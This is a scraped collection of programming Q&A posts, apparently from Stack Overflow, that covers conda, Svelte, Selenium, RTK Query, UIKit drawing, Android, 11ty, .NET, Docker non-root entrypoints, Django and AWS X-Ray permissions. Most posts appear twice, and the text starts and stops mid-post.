  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/tarcheck.py", line 89, in check_all
    x.info_files()
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/tarcheck.py", line 53, in info_files
    raise Exception('info/files')
Exception: info/files

Here's the complete log

I can confirm that the Icon files do not exist in my soothsayer_utils-2022.1.19.tar.gz file:

(base) jespinoz@x86_64-apple-darwin13 Downloads % tree soothsayer_utils-2022.1.19
soothsayer_utils-2022.1.19
├── LICENSE.txt
├── MANIFEST.in
├── PKG-INFO
├── README.md
├── setup.cfg
├── setup.py
├── soothsayer_utils
│   ├── __init__.py
│   └── soothsayer_utils.py
└── soothsayer_utils.egg-info
    ├── PKG-INFO
    ├── SOURCES.txt
    ├── dependency_links.txt
    ├── requires.txt
    └── top_level.txt

2 directories, 13 files

Can someone help me get conda build to work for my package?


问:
Do I really need to define reactive svelte variables twice?
I'm trying to use svelte's reactive variables. However, it seems I need to define my function twice. Is there a way to get rid of one of the two very similar lines?

```<code>let reactive_var = my_function( editable_var, 32 );
$: reactive_var = my_function( editable_var, 32 );

let another_var = reactive_var * 4;
</code>```

Removing the first line messes up the definition of another_var.

答:
If another_var is reactive as well (which it should be), then it needs a reactive declaration as well. Slightly modified example from the Svelte tutorial :

<button on:click={handleClick}>
    Clicked {count} {count === 1 ? 'time' : 'times'}
</button>

{count} doubled is {doubled}

{count} multiplied by 4 is {quad}

```

Body:
I'm trying to use svelte's reactive variables. However, it seems I need to define my function twice. Is there a way to get rid of one of the two very similar lines?

let reactive_var = my_function( editable_var, 32 );
$: reactive_var = my_function( editable_var, 32 );

let another_var = reactive_var * 4;

Removing the first line messes up the definition of another_var.

Body:
If another_var is reactive as well (which it should be), then it needs a reactive declaration as well. Slightly modified example from the Svelte tutorial :

<script>
    let count = 0;
    $: doubled = count * 2;
    $: quad = doubled * 2;

    function handleClick() {
        count += 1;
    }
</script>

<button on:click={handleClick}>
    Clicked {count} {count === 1 ? 'time' : 'times'}
</button>

<p>{count} doubled is {doubled}</p>
<p>{count} multiplied by 4 is {quad}</p>


问:
Python Selenium Firefox trouble with download directory
I am trying to download a .csv file from a website X using Selenium Firefox, but it keeps saving it in the Download folder instead of the path I set. I would fancy some help here.

The FirefoxProfile has a "DeprecationWarning", therefore I am strictly using the Options() configuration. I tried using "\", "/" and "\\".

```<code>from selenium import webdriver
from selenium.webdriver.firefox.options import Options

download_path = "C:\a\very\nice\path"
options = Options()
options.set_preference("browser.download.folderList", '2')
options.set_preference("browser.download.manager.showWhenStarting", False)
options.set_preference("browser.download.dir", download_path)
options.set_preference("browser.helperApps.neverAsk.saveToDisk", "text/csv")

browser = webdriver.Firefox(executable_path=path_gecko,
                            options=options)

</code>```

答:
I solved the problem, still no idea where the problem was,
I changed</p>
```<code>download_path = r'C:\Users\rest\of\the\path'
</code>```

Body:
I am trying to download a .csv file from a website X using Selenium Firefox, but it keeps saving it in the Download folder instead of the path I set. I would fancy some help here.

The FirefoxProfile has a "DeprecationWarning", therefore I am strictly using the Options() configuration. I tried using "\", "/" and "\\".

from selenium import webdriver
from selenium.webdriver.firefox.options import Options

download_path = "C:\a\very\nice\path"
options = Options()
options.set_preference("browser.download.folderList", '2')
options.set_preference("browser.download.manager.showWhenStarting", False)
options.set_preference("browser.download.dir", download_path)
options.set_preference("browser.helperApps.neverAsk.saveToDisk", "text/csv")

browser = webdriver.Firefox(executable_path=path_gecko,
                            options=options)

Body:
I solved the problem, still no idea where the problem was,
I changed

download_path = r'C:\Users\rest\of\the\path'


问:
How to get partial data from RTK query
I am started to use RTK query and I am not sure to use it properly when I need to get just one element of my cached data.

I have an object like this cached:

```<code>{
 id: "1",
 age: 18,
 name: "John"
}
</code>```

And in one of my hook I use this following code:

```<code>const { data: { id } = {} } = useMyQuery();
</code>```

So my question is how I can avoid a trigger of my hook if "name" or "age" change but not "id".

There is a way to create a memo selector on this cached data ?

UPDATE:

Here is the link of the documentation of selectFromResult: link

After some usage of selectFromResult it's appears we have to manage by ourself the memoization if the returned data.

It's in the documentation but lost in the limb. Here is the link.

答:
You want to use selectFromResult:

const { data: { id } = {} } = useMyQuery(undefined, {
  selectFromResult: ({isSuccess, data}) => ({ isSuccess, data: data.id })
};
```

Note that this also allows you to remove properties like isLoading, isSuccess etc which would also cause a potential rerender - this example only keeps isSuccess.

Title: How to get partial data from RTK query

Body:
I am started to use RTK query and I am not sure to use it properly when I need to get just one element of my cached data.

I have an object like this cached:

{
 id: "1",
 age: 18,
 name: "John"
}

And in one of my hook I use this following code:

const { data: { id } = {} } = useMyQuery();

So my question is how I can avoid a trigger of my hook if "name" or "age" change but not "id".

There is a way to create a memo selector on this cached data ?

UPDATE:

Here is the link of the documentation of selectFromResult: link

After some usage of selectFromResult it's appears we have to manage by ourself the memoization if the returned data.

It's in the documentation but lost in the limb. Here is the link.

Body:
You want to use selectFromResult:

const { data: { id } = {} } = useMyQuery(undefined, {
  selectFromResult: ({isSuccess, data}) => ({ isSuccess, data: data.id })
};

Note that this also allows you to remove properties like isLoading, isSuccess etc which would also cause a potential rerender - this example only keeps isSuccess.


问:
CGContextFillRect not drawing a rectangle?
I have this code:

```<code>CGColorRef darkColor = [[UIColor colorWithRed:21.0/255.0 green:92.0/255.0 blue:136.0/255.0 alpha:1.0] CGColor];
CGContextRef context = UIGraphicsGetCurrentContext();
CGContextSetFillColorWithColor(context, darkColor);
CGContextFillRect(context, CGRectMake(18, 62, 66, 66));
</code>```

And I just put it in the viewdidload method of my view, but my view doesn't look any different than before. I've tried making it really big and bright red, but it's just not drawing. Is there some other initialization code that I need?

EDIT: After working with the answers given to me, I have this now in my veiwdidload:

```<code>[self.view addSubview:[[[imageBackground alloc] init] autorelease]];
</code>```

and in imageBackground.m:

```<code>@implementation imageBackground

- (id)initWithFrame:(CGRect)frame
{
    self = [super initWithFrame:frame];
    if (self) {
        // Initialization code
        self.opaque = YES;
        self.backgroundColor = [UIColor clearColor];
    }
    return self;
}

// Only override drawRect: if you perform custom drawing.
// An empty implementation adversely affects performance during animation.
- (void)drawRect:(CGRect)rect
{
    CGColorRef darkColor = [[UIColor colorWithRed:21.0/255.0 green:92.0/255.0 blue:136.0/255.0 alpha:1.0] CGColor];
    darkColor = [[UIColor colorWithRed:255.0 green:0.0 blue:0.0 alpha:1.0] CGColor];
    CGContextRef context = UIGraphicsGetCurrentContext();
    CGContextSetFillColorWithColor(context, darkColor);
    CGContextFillRect(context, CGRectMake(18, 62, 66, 66));
}
@end
</code>```

Imagebackground.h subclasses UIView:

```<code>#import <UIKit/UIKit.h>
@interface imageBackground : UIView
@end
</code>```

I still get no results out of it though.

EDIT2: Well, I solved it myself, but then realized progrmr had already told me how to solve it. I had to use [self.view addSubview:[[[imageBackground alloc] initWithFrame:CGRectMake(0, 0, 320, 480)] autorelease]]; instead of just plain alloc init.

Thanks glorifiedhacker for lots of help as well!

答:
You need to subclass UIView (or one of its subclasses) and override the drawRect method:

```<code>- (void)drawRect:(CGRect)rect {
    CGColorRef darkColor = [[UIColor colorWithRed:21.0/255.0 green:92.0/255.0 blue:136.0/255.0 alpha:1.0] CGColor];
    CGContextRef context = UIGraphicsGetCurrentContext();
    CGContextSetFillColorWithColor(context, darkColor);
    CGContextFillRect(context, CGRectMake(18, 62, 66, 66));
}
</code>```

in order to get a valid graphics context into which you can draw. From Apple's documentation on UIView:

View drawing occurs on an as-needed basis. When a view is first shown,
  or when all or part of it becomes visible due to layout changes, the
  system asks the view to draw its contents. For views that contain
  custom content using UIKit or Core Graphics, the system calls the
  view’s drawRect: method. Your implementation of this method is
  responsible for drawing the view’s content into the current graphics
  context, which is set up by the system automatically prior to calling
  this method. This creates a static visual representation of your
  view’s content that can then be displayed on the screen.

Body:
I have this code:

CGColorRef darkColor = [[UIColor colorWithRed:21.0/255.0 green:92.0/255.0 blue:136.0/255.0 alpha:1.0] CGColor];
CGContextRef context = UIGraphicsGetCurrentContext();
CGContextSetFillColorWithColor(context, darkColor);
CGContextFillRect(context, CGRectMake(18, 62, 66, 66));

And I just put it in the viewdidload method of my view, but my view doesn't look any different than before. I've tried making it really big and bright red, but it's just not drawing. Is there some other initialization code that I need?

EDIT: After working with the answers given to me, I have this now in my veiwdidload:

[self.view addSubview:[[[imageBackground alloc] init] autorelease]];

and in imageBackground.m:

@implementation imageBackground

- (id)initWithFrame:(CGRect)frame
{
    self = [super initWithFrame:frame];
    if (self) {
        // Initialization code
        self.opaque = YES;
        self.backgroundColor = [UIColor clearColor];
    }
    return self;
}

// Only override drawRect: if you perform custom drawing.
// An empty implementation adversely affects performance during animation.
- (void)drawRect:(CGRect)rect
{
    CGColorRef darkColor = [[UIColor colorWithRed:21.0/255.0 green:92.0/255.0 blue:136.0/255.0 alpha:1.0] CGColor];
    darkColor = [[UIColor colorWithRed:255.0 green:0.0 blue:0.0 alpha:1.0] CGColor];
    CGContextRef context = UIGraphicsGetCurrentContext();
    CGContextSetFillColorWithColor(context, darkColor);
    CGContextFillRect(context, CGRectMake(18, 62, 66, 66));
}
@end

Imagebackground.h subclasses UIView:

#import <UIKit/UIKit.h>
@interface imageBackground : UIView
@end

I still get no results out of it though.

EDIT2: Well, I solved it myself, but then realized progrmr had already told me how to solve it. I had to use [self.view addSubview:[[[imageBackground alloc] initWithFrame:CGRectMake(0, 0, 320, 480)] autorelease]]; instead of just plain alloc init.

Thanks glorifiedhacker for lots of help as well!

Body:
You need to subclass UIView (or one of its subclasses) and override the drawRect method:

- (void)drawRect:(CGRect)rect {
    CGColorRef darkColor = [[UIColor colorWithRed:21.0/255.0 green:92.0/255.0 blue:136.0/255.0 alpha:1.0] CGColor];
    CGContextRef context = UIGraphicsGetCurrentContext();
    CGContextSetFillColorWithColor(context, darkColor);
    CGContextFillRect(context, CGRectMake(18, 62, 66, 66));
}

in order to get a valid graphics context into which you can draw. From Apple's documentation on UIView:

View drawing occurs on an as-needed basis. When a view is first shown,
  or when all or part of it becomes visible due to layout changes, the
  system asks the view to draw its contents. For views that contain
  custom content using UIKit or Core Graphics, the system calls the
  view’s drawRect: method. Your implementation of this method is
  responsible for drawing the view’s content into the current graphics
  context, which is set up by the system automatically prior to calling
  this method. This creates a static visual representation of your
  view’s content that can then be displayed on the screen.


问:
when setText on editText TextWatcher.onTextChanged not called
Whenever EditText string is changed, onTextChanged is called.

Now when I start a new Activity and send data through Bundle, onTextChanged is not called.

```<code>if( getIntent().getExtras() != null) {
    Bundle b = getIntent().getExtras();
    int value = -1;

    if(b != null)
        value = b.getInt("key");
    edit1.setText("Mywords:");
}
</code>```

How can I call it ?

答:
For some reason, the method addTextChangedListener is not called for me.

However the method doBeforeTextChanged, doOnTextChanged and doAfterTextChanged worked perfectly :

```<code>amountTextField.doBeforeTextChanged { text, start, count, after ->
    Log.d(TAG, "beforeTextChange.") // OK, called
}
amountTextField.doOnTextChanged { text, start, before, count ->
    Log.d(TAG,  "onTextChanged.") // OK, called
}
amountTextField.doAfterTextChanged {
    Log.d(TAG, "afterTextChanged.") // OK, called
}
amountTextField.addTextChangedListener {
    object:  TextWatcher {
        override fun beforeTextChanged(p0: CharSequence?, p1: Int, p2: Int, p3: Int) {
            Log.d(TAG, "beforeTextChange.") // NOK, not called
        }

        override fun onTextChanged(p0: CharSequence?, p1: Int, p2: Int, p3: Int) {
            Log.d(TAG,  "onTextChanged.") // NOK, not called
        }

        override fun afterTextChanged(p0: Editable?) {
            Log.d(TAG,  "onTextChanged.") // NOK, not called
        }

    } }
</code>```

By the way, the result was always the same : whether I set any text to my EidtText or not, whether after or before I set any text.

Body:
Whenever EditText string is changed, onTextChanged is called.

Now when I start a new Activity and send data through Bundle, onTextChanged is not called.

if( getIntent().getExtras() != null) {
    Bundle b = getIntent().getExtras();
    int value = -1;

    if(b != null)
        value = b.getInt("key");
    edit1.setText("Mywords:");
}

How can I call it ?

Body:
For some reason, the method addTextChangedListener is not called for me.

However the method doBeforeTextChanged, doOnTextChanged and doAfterTextChanged worked perfectly :

amountTextField.doBeforeTextChanged { text, start, count, after ->
    Log.d(TAG, "beforeTextChange.") // OK, called
}
amountTextField.doOnTextChanged { text, start, before, count ->
    Log.d(TAG,  "onTextChanged.") // OK, called
}
amountTextField.doAfterTextChanged {
    Log.d(TAG, "afterTextChanged.") // OK, called
}
amountTextField.addTextChangedListener {
    object:  TextWatcher {
        override fun beforeTextChanged(p0: CharSequence?, p1: Int, p2: Int, p3: Int) {
            Log.d(TAG, "beforeTextChange.") // NOK, not called
        }

        override fun onTextChanged(p0: CharSequence?, p1: Int, p2: Int, p3: Int) {
            Log.d(TAG,  "onTextChanged.") // NOK, not called
        }

        override fun afterTextChanged(p0: Editable?) {
            Log.d(TAG,  "onTextChanged.") // NOK, not called
        }

    } }

By the way, the result was always the same : whether I set any text to my EidtText or not, whether after or before I set any text.


问:
How to use loop in new date function to return day of week
I have this code and I'd like to return days of week based in this constant:

```<code>    const dayOfWeek = {
              '0': 'Sun',
              '1': 'Mon',
              '2': 'Tue',
              '3': 'Wed',
              '4': 'Thu',
              '5': 'Fri',
              '6': 'Sat',
            }

 info.forEach(function (information, counter) {
            // Get date
            var dateConvert = new Date()
            var date = (dateConvert.getDay());
            // Check if first itteration or if the row is full
            if (counter === 0 || row.querySelectorAll("p").length === infoPerRow) {

              // Create new row and class
              row = document.createElement("div");
              row.classList.add("row");
              rowCity = document.createElement("h1");
              rowCity.classList.add("rowCity");

              //Append the row to the fragment
              fragment.appendChild(rowCity);
              fragment.appendChild(row);

            }
            console.log(row);
            //Update the content of row
            rowCity.innerHTML = `<h2>${name} - ${country}</h2><br><form onSubmit={this.handleDelete}><button type="submit" id="add" onClick={this.handleDelete}>Remove City</button></form><br>`;
            row.innerHTML += `<div><h3>${dayOfWeek[date]}</h3><br><h2>${iconCodes[information.icon]}</h2><br><h5>${information.temp} ºC</h5><br><h6>${information.description}</h6></div>`;
          });
</code>```

I expect to have something like this in this loop. That are 8 days. The first is current day and then the next 7 days:

Mon
-1.33 ºC overcast clouds

Tue
-2.34 ºC broken clouds

EDIT: I did it

```<code>info.forEach(function (information, counter) {
            // Get date
            var dateConvert = new Date(information.dt)
            var date = (dateConvert.toLocaleString("en-us", { weekday: "short" }));
            console.log(date)
            // Check if first itteration or if the row is full
            if (counter === 0 || row.querySelectorAll("p").length === infoPerRow) {

              // Create new row and class
              row = document.createElement("div");
              row.classList.add("row");
              rowCity = document.createElement("h1");
              rowCity.classList.add("rowCity");

              //Append the row to the fragment
              fragment.appendChild(rowCity);
              fragment.appendChild(row);

            }
            console.log(row);
            //Update the content of row
            rowCity.innerHTML = `<h2>${name} - ${country}</h2><form onSubmit={this.handleDelete}><button class="btn" type="submit" id="add" onClick={this.handleDelete}>Remove City</button></form><br>`;
            row.innerHTML += `<div><h3>${date}</h3><br><h2>${iconCodes[information.icon]}</h2><br><h5>${information.temp} ºC</h5><br><h6>${information.description}</h6></div>`;
          });
</code>```

But I get all days Tue. Like this:

Tue // Here is today, Mon
19.5 ºC clear sky

Tue // Ok here
15.62 ºC clear sky

Tue // Wed
16.01 ºC clear sky

and so on

答:
I think this is what you are looking for - how to extract date from timestamp.

const dayOfWeek = {
  0: "Sun",
  1: "Mon",
  2: "Tue",
  3: "Wed",
  4: "Thu",
  5: "Fri",
  6: "Sat"
};

const info = [
  {dt: 1644245080, temp: 0.06, description: "scattered clouds", icon: "03d"},
  {dt: 1644339600, temp: -2.34, description: "broken clouds", icon: "04d"},
  {dt: 1644426000, temp: 1.7, description: 'overcast clouds', icon: '04d'},
  {dt: 1644512400, temp: -0.06, description: 'broken clouds', icon: '04d'},
  {dt: 1644598800, temp: -2.18, description: 'light snow', icon: '13d'}
];

info.forEach(function (information, counter) {
  var dayNum = new Date(information.dt * 1000).getDay();
  console.log(dayOfWeek[dayNum])
})```

Body:
I have this code and I'd like to return days of week based in this constant:

    const dayOfWeek = {
              '0': 'Sun',
              '1': 'Mon',
              '2': 'Tue',
              '3': 'Wed',
              '4': 'Thu',
              '5': 'Fri',
              '6': 'Sat',
            }

 info.forEach(function (information, counter) {
            // Get date
            var dateConvert = new Date()
            var date = (dateConvert.getDay());
            // Check if first itteration or if the row is full
            if (counter === 0 || row.querySelectorAll("p").length === infoPerRow) {

              // Create new row and class
              row = document.createElement("div");
              row.classList.add("row");
              rowCity = document.createElement("h1");
              rowCity.classList.add("rowCity");

              //Append the row to the fragment
              fragment.appendChild(rowCity);
              fragment.appendChild(row);

            }
            console.log(row);
            //Update the content of row
            rowCity.innerHTML = `<h2>${name} - ${country}</h2><br><form onSubmit={this.handleDelete}><button type="submit" id="add" onClick={this.handleDelete}>Remove City</button></form><br>`;
            row.innerHTML += `<div><h3>${dayOfWeek[date]}</h3><br><h2>${iconCodes[information.icon]}</h2><br><h5>${information.temp} ºC</h5><br><h6>${information.description}</h6></div>`;
          });

I expect to have something like this in this loop. That are 8 days. The first is current day and then the next 7 days:

Mon
-1.33 ºC overcast clouds

Tue
-2.34 ºC broken clouds

EDIT: I did it

info.forEach(function (information, counter) {
            // Get date
            var dateConvert = new Date(information.dt)
            var date = (dateConvert.toLocaleString("en-us", { weekday: "short" }));
            console.log(date)
            // Check if first itteration or if the row is full
            if (counter === 0 || row.querySelectorAll("p").length === infoPerRow) {

              // Create new row and class
              row = document.createElement("div");
              row.classList.add("row");
              rowCity = document.createElement("h1");
              rowCity.classList.add("rowCity");

              //Append the row to the fragment
              fragment.appendChild(rowCity);
              fragment.appendChild(row);

            }
            console.log(row);
            //Update the content of row
            rowCity.innerHTML = `<h2>${name} - ${country}</h2><form onSubmit={this.handleDelete}><button class="btn" type="submit" id="add" onClick={this.handleDelete}>Remove City</button></form><br>`;
            row.innerHTML += `<div><h3>${date}</h3><br><h2>${iconCodes[information.icon]}</h2><br><h5>${information.temp} ºC</h5><br><h6>${information.description}</h6></div>`;
          });

But I get all days Tue. Like this:

Tue // Here is today, Mon
19.5 ºC clear sky

Tue // Ok here
15.62 ºC clear sky

Tue // Wed
16.01 ºC clear sky

and so on


问:
How test 11ty 404 page?
I've build a 404 page for my 11ty project, as shown in the 11ty quick tips:

```<code>https://www.11ty.dev/docs/quicktips/not-found/
QUICK TIP #006—ADDING A 404 NOT FOUND PAGE TO YOUR STATIC SITE
</code>```

I then added a deliberate link to a non-existing file like so:

[404 test](/error.html)

But when I click on this, I just get a console.log error, not the 404.html.  Note that I'm using eleventy's BrowserSync server.

So how can I test the 404 page?

答:
Check if you have 404/index.html or 404.html files in dist folder, do you have a such file in compiled folder?

Also check if you have 404.html, or 404.njk file in your src folder.

Title: How test 11ty 404 page?

Body:
I've build a 404 page for my 11ty project, as shown in the 11ty quick tips:

https://www.11ty.dev/docs/quicktips/not-found/
QUICK TIP #006—ADDING A 404 NOT FOUND PAGE TO YOUR STATIC SITE

I then added a deliberate link to a non-existing file like so:

[404 test](/error.html)

But when I click on this, I just get a console.log error, not the 404.html.  Note that I'm using eleventy's BrowserSync server.

So how can I test the 404 page?


问:
How do I fix Azure pipeline error NETSDK1152?
While running my pipeline, it fails at the publish phase with 2 errors.

```<code>##[error]Error: The process 'C:\Program Files\dotnet\dotnet.exe' failed with exit code 1

##[error]Dotnet command failed with non-zero exit code on the following projects : ...
</code>```

The pipeline also lists all paths to files with duplicate names, even if the contents are different. The pipeline worked fine before with the duplicate names, but now throws and error and will not proceed. what is the correct fix for this?

答:
This is a breaking change introduced in .NET 6
https://learn.microsoft.com/en-us/dotnet/core/compatibility/sdk/6.0/duplicate-files-in-output

You have multiple ways of fixing this:

Evaluate your resources in the project where "CopyToOutputFolder" is set to "Always" and remove if they are unnecessary. How MSBuild handles this is, it tries to copy these resources to output folder after the build is completed.

Target a specific SDK during the build by adding it in global.json
https://learn.microsoft.com/en-us/dotnet/core/versions/selection
You probably have "rollForward" option set to "latestFeature" that automatically uses the latest SDK, so you can remove that and target .NET 5 or earlier.

Body:
While running my pipeline, it fails at the publish phase with 2 errors.

##[error]Error: The process 'C:\Program Files\dotnet\dotnet.exe' failed with exit code 1

##[error]Dotnet command failed with non-zero exit code on the following projects : ...

The pipeline also lists all paths to files with duplicate names, even if the contents are different. The pipeline worked fine before with the duplicate names, but now throws and error and will not proceed. what is the correct fix for this?


问:
Docker - is it safe to switch to non-root user in ENTRYPOINT?
Is it considered a secure practice to run root privileged ENTRYPOINT ["/bin/sh", entrypoint.sh"], that later switches to non-root user before running the application?

More context:

There are a number of articles (1, 2, 3) suggesting that running the container as non-root user is a best practice in terms of security. This can be achieved using the USER appuser command, however there are cases (4, 5) when running the container as root and only switching to non-root in the an entrypoint.sh script is the only way to go around, eg:

```<code>#!/bin/sh

chown -R appuser:appgroup /path/to/volume
exec runuser -u appuser "$@"
</code>```

and in Dockerfile:

```<code>COPY entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/bin/sh", "entrypoint.sh"]
CMD ["/usr/bin/myapp"]
</code>```

When calling docker top container I can see two processes, one root and one non-root

```<code>PID                 USER                TIME                COMMAND
5004                root                0:00                runuser -u appuser /usr/bin/myapp
5043                1000                0:02                /usr/bin/myapp
</code>```

Does it mean my container is running with a vulnerability given that root process, or is it considered secure?

I found little discussion on the subject (6, 7) and none seem definitive. I've looked for similar questions on StackOverflow but couldn't find anything related (8, 9, 10) that would address the security.

答:
In your case runuser process (PID 1) stays alive. If you want to substitute PID 1, use

Dockerfile

```<code>ENTRYPOINT ["/bin/bash", "/var/usr/entrypoint.sh" ]
</code>```

entrypoint.sh

```<code>#add user&group if not existing
exec su -l USERNAME -c "/bin/bash /var/usr/starting.sh"
</code>```

In starting.sh you do everything you have to do as non-root, or call it directly after -c if it's just a one liner.

Result

docker top

```<code>UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
1000                11577               11556               0                   14:58               ?                   00:00:00            /bin/bash /var/usr/starting.sh
1000                11649               11577               0                   14:58               ?                   00:00:00            sleep 24h
</code>```

There is no process using root anymore (all use UID 1000 in this case), and starting.sh containing bash runs as PID 1, which solves the docker logs problem also (just logs PID 1). Sub-Processes are also started with non-root User. Only if you docker exec from host, it is still using root. But this is mostly wanted for debugging.

top inside container

```<code>  PID  PPID USER     STAT   VSZ %VSZ CPU %CPU COMMAND
    1     0 usr1000  S     2316   0%   7   0% /bin/bash /var/usr/starting.sh
   48     0 root     S     1660   0%   7   0% /bin/sh
   54    48 root     R     1592   0%   1   0% top
   47     1 usr1000  S     1580   0%   5   0% sleep 24h
</code>```

So you see: PID 1 runs the stuff (run everything with exec in there if you need it in the same process). Only thing running as root is the docker exec shell and therefore top.

Body:
Is it considered a secure practice to run root privileged ENTRYPOINT ["/bin/sh", entrypoint.sh"], that later switches to non-root user before running the application?

More context:

There are a number of articles (1, 2, 3) suggesting that running the container as non-root user is a best practice in terms of security. This can be achieved using the USER appuser command, however there are cases (4, 5) when running the container as root and only switching to non-root in the an entrypoint.sh script is the only way to go around, eg:

#!/bin/sh

chown -R appuser:appgroup /path/to/volume
exec runuser -u appuser "$@"

and in Dockerfile:

COPY entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/bin/sh", "entrypoint.sh"]
CMD ["/usr/bin/myapp"]

When calling docker top container I can see two processes, one root and one non-root

PID                 USER                TIME                COMMAND
5004                root                0:00                runuser -u appuser /usr/bin/myapp
5043                1000                0:02                /usr/bin/myapp

Does it mean my container is running with a vulnerability given that root process, or is it considered secure?

I found little discussion on the subject (6, 7) and none seem definitive. I've looked for similar questions on StackOverflow but couldn't find anything related (8, 9, 10) that would address the security.

Body:
In your case runuser process (PID 1) stays alive. If you want to substitute PID 1, use

Dockerfile

ENTRYPOINT ["/bin/bash", "/var/usr/entrypoint.sh" ]

entrypoint.sh

#add user&group if not existing
exec su -l USERNAME -c "/bin/bash /var/usr/starting.sh"

In starting.sh you do everything you have to do as non-root, or call it directly after -c if it's just a one liner.

Result

docker top

UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
1000                11577               11556               0                   14:58               ?                   00:00:00            /bin/bash /var/usr/starting.sh
1000                11649               11577               0                   14:58               ?                   00:00:00            sleep 24h

There is no process using root anymore (all use UID 1000 in this case), and starting.sh containing bash runs as PID 1, which solves the docker logs problem also (just logs PID 1). Sub-Processes are also started with non-root User. Only if you docker exec from host, it is still using root. But this is mostly wanted for debugging.

top inside container

  PID  PPID USER     STAT   VSZ %VSZ CPU %CPU COMMAND
    1     0 usr1000  S     2316   0%   7   0% /bin/bash /var/usr/starting.sh
   48     0 root     S     1660   0%   7   0% /bin/sh
   54    48 root     R     1592   0%   1   0% top
   47     1 usr1000  S     1580   0%   5   0% sleep 24h

So you see: PID 1 runs the stuff (run everything with exec in there if you need it in the same process). Only thing running as root is the docker exec shell and therefore top.


问:
VB.Net File.Copy/File.Move with different credentials
Ideally I'd like to be able to copy/move between an accessible folder on my local drive and a network share that I don't have permission to access (but the application would).

I am using impersonation to give me access to the files in the network share but using System.IO File.Move or File.Copy forces me to use the same credentials for each location. Is there a way around this?

答:
What I believe you could do is something like this.

Do the impersonation to allow the selection of files.  Copy the files to a location that the app can get to.

Stop the impersonation then have the application copy the file from the temp location to the desired end result.

We have done this before in our applications, it isn't elegant, but it works perfectly!

ContentLicense: CC BY-SA 2.5

LastEditorDisplayName: Eddie

OwnerDisplayName: Mitchel Sellers


问:
Django model "doesn't declare an explicit app_label"
I'm at wit's end. After a dozen hours of troubleshooting, probably more, I thought I was finally in business, but then I got:

```<code>Model class django.contrib.contenttypes.models.ContentType doesn't declare an explicit app_label
</code>```

There is SO LITTLE info on this on the web, and no solution out there has resolved my issue. Any advice would be tremendously appreciated.

I'm using Python 3.4 and Django 1.10.

From my settings.py:

```<code>INSTALLED_APPS = [
    'DeleteNote.apps.DeletenoteConfig',
    'LibrarySync.apps.LibrarysyncConfig',
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
]
</code>```

And my apps.py files look like this:

```<code>from django.apps import AppConfig

class DeletenoteConfig(AppConfig):
    name = 'DeleteNote'
</code>```

and

```<code>from django.apps import AppConfig

class LibrarysyncConfig(AppConfig):
    name = 'LibrarySync'
</code>```

答:
After Reading the other answer. I could understand that. Different approaches are used based on the situation.
Here I explain. How I solved my case. This will help others also

test_model.py
no error or warning is shown in the pycharm and pycharm map to the model class

Error showing like this while test run

```<code>python manage.py test cheese
</code>```

Solution

```<code>from everych.cheese.models import Dodavatel
</code>```

The output without any error:

Conclusion: Most of the answers suggesting import apps model class in test class is the problem . so check the importing correct

Body:
I'm at wit's end. After a dozen hours of troubleshooting, probably more, I thought I was finally in business, but then I got:

Model class django.contrib.contenttypes.models.ContentType doesn't declare an explicit app_label

There is SO LITTLE info on this on the web, and no solution out there has resolved my issue. Any advice would be tremendously appreciated.

I'm using Python 3.4 and Django 1.10.

From my settings.py:

INSTALLED_APPS = [
    'DeleteNote.apps.DeletenoteConfig',
    'LibrarySync.apps.LibrarysyncConfig',
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
]

And my apps.py files look like this:

from django.apps import AppConfig

class DeletenoteConfig(AppConfig):
    name = 'DeleteNote'

and

from django.apps import AppConfig

class LibrarysyncConfig(AppConfig):
    name = 'LibrarySync'

Body:
After Reading the other answer. I could understand that. Different approaches are used based on the situation.
Here I explain. How I solved my case. This will help others also

test_model.py
no error or warning is shown in the pycharm and pycharm map to the model class

Error showing like this while test run

python manage.py test cheese

Solution

from everych.cheese.models import Dodavatel

The output without any error:

Conclusion: Most of the answers suggesting import apps model class in test class is the problem . so check the importing correct


问:
AWS XRAY on Fargate service
I want to add xray to my Fargate service. Everything works (synth/deploy) but in the logs I'am seeing the following error:

2022-02-07T13:38:22Z [Error] Sending segment batch failed with:
AccessDeniedException: 2022-02-07 14:38:22status code: 403, request
id: cdc23f61-5c2e-4ede-8bda-5328e0c8ac8f

The user I'am using to deploy the application has the AWSXrayFullAccess permission.
Do I have to grant the task the permission manually? If so how?

Here is a snippet of the application:

```<code>const cdk = require('@aws-cdk/core');
const ecs = require('@aws-cdk/aws-ecs');
const ecsPatterns = require('@aws-cdk/aws-ecs-patterns');

class API extends cdk.Stack {
  constructor(parent, id, props) {
    super(parent, id, props);

    this.apiXRayTaskDefinition = new ecs.FargateTaskDefinition(this, 'apixRay-definition', {
      cpu: 256,
      memoryLimitMiB: 512,
    });

    this.apiXRayTaskDefinition.addContainer('api', {
        image: ecs.ContainerImage.fromAsset('./api'),
        environment: {
          "QUEUE_URL": props.queue.queueUrl,
          "TABLE": props.table.tableName,
          "AWS_XRAY_DAEMON_ADDRESS": "0.0.0.0:2000"
        },
        logging: ecs.LogDriver.awsLogs({ streamPrefix: 'api' }),
    }).addPortMappings({
      containerPort: 80
    })

    this.apiXRayTaskDefinition.addContainer('xray', {
      image: ecs.ContainerImage.fromRegistry('public.ecr.aws/xray/aws-xray-daemon:latest'),
      logging: ecs.LogDriver.awsLogs({ streamPrefix: 'xray' }),
    }).addPortMappings({
      containerPort: 2000,
      protocol: ecs.Protocol.UDP,
    });

    // API
    this.api = new ecsPatterns.ApplicationLoadBalancedFargateService(this, 'api', {
      cluster: props.cluster,
      taskDefinition: this.apiXRayTaskDefinition,
      desiredCount: 2,
      cpu: 256,
      memory: 512,
      createLogs: true
    })

    props.queue.grantSendMessages(this.api.service.taskDefinition.taskRole);
    props.table.grantReadWriteData(this.api.service.taskDefinition.taskRole);

  }
}
</code>```

答:
The user I'am using to deploy the application has the AWSXrayFullAccess permission.

This is irrelevant, the task will not get all the rights of the user that deploys the stack.

Yes, you need to add the required permissions to the task with

```<code>this.apiXRayTaskDefinition.taskRole.addManagedPolicy(
